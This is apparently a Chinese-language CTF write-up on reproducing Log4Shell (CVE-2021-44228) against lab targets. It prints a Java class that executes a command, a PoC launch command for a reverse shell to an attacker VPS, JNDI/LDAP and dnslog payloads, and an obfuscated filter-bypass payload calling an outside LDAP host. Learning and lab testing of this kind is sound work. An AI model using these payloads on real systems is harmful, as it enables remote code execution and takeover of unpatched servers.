(腳本小子)log4jshell


理解

原理參考
https://nvd.nist.gov/vuln/detail/CVE-2021-44228
https://logging.apache.org/log4j/2.x/
https://zhuanlan.zhihu.com/p/444140910
簡單來說,用戶輸入會記錄在log4j中,而log4j自帶lookup功能,格式為${parser:xxx}。如果用戶輸入lookup會被log4j解析。
jndi是parser的一種,是一種標准的Java命名系統接口,可以連接遠程服務,格式為${jndi:schema://url}
ldap是schema的一種,${jndi:ldap://url}會使log4j從url指定的路徑下載一段字節流,並將其反序列化為Java對象,作為jndi返回。反序列化過程中,即會執行字節流中包含的程序。
而url的內容可以被控制,我們可以返回惡意代碼
JNDI服務用腳本或者什么工具可以一鍵搭建。具體見https://segmentfault.com/a/1190000041117219
而惡意類類似這樣

class Exploit {
    static {
        System.err.println("Pwned");
        try {
            String cmds = "calc";
            Runtime.getRuntime().exec(cmds);
        } catch ( Exception e ) {
            e.printStackTrace();
        }
    }
}

即可彈計算器

復現

使用ctfshow上的靶場
https://ctf.show/challenges
LDAP服務器用自己的VPS,搭建用大神寫的腳本。(什么是腳本小子啊)
我用的POC(內含LDAP一鍵搭建和docker靶場環境)
https://github.com/kozmer/log4j-shell-poc
(貌似這個POC的docker有問題,在本地死活彈不了shell555)
把POC文件放在vps上就可以了。啟動腳本的時候把命令換成
python3 poc.py --userip [vpsIP] --webport 8000 --lport 9001
具體過程略
這里好像有個坑(沒驗證過),lookup可能只用於DNS解析。所以必須嘗試payload
${jndi:ldap://xxxxx.dnslog.cn/exp}
${jndi:ldap://${sys:java.version}xxxxx.dnslog.cn/exp}
第一條有回顯,第二條無回顯,才能說明漏洞可以利用.

題目:長安戰疫 shiro?(表面復現)

登陸界面存在觸發點。過濾了jndi和ldap關鍵字。如下構造lookup繞過
${${::-j}ndi:${::-l}dap://ip:1389/a}
然而然而,卡在這一步了
image
然后拿ctfshow的靶場又試了一遍,發現居然也不行qwq
我不理解啊!!難不成因為上次是校園網就可以,在家就不行???
然后調了一下vps,好了,vps炸了。重啟,無限卡重啟。
/kill


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM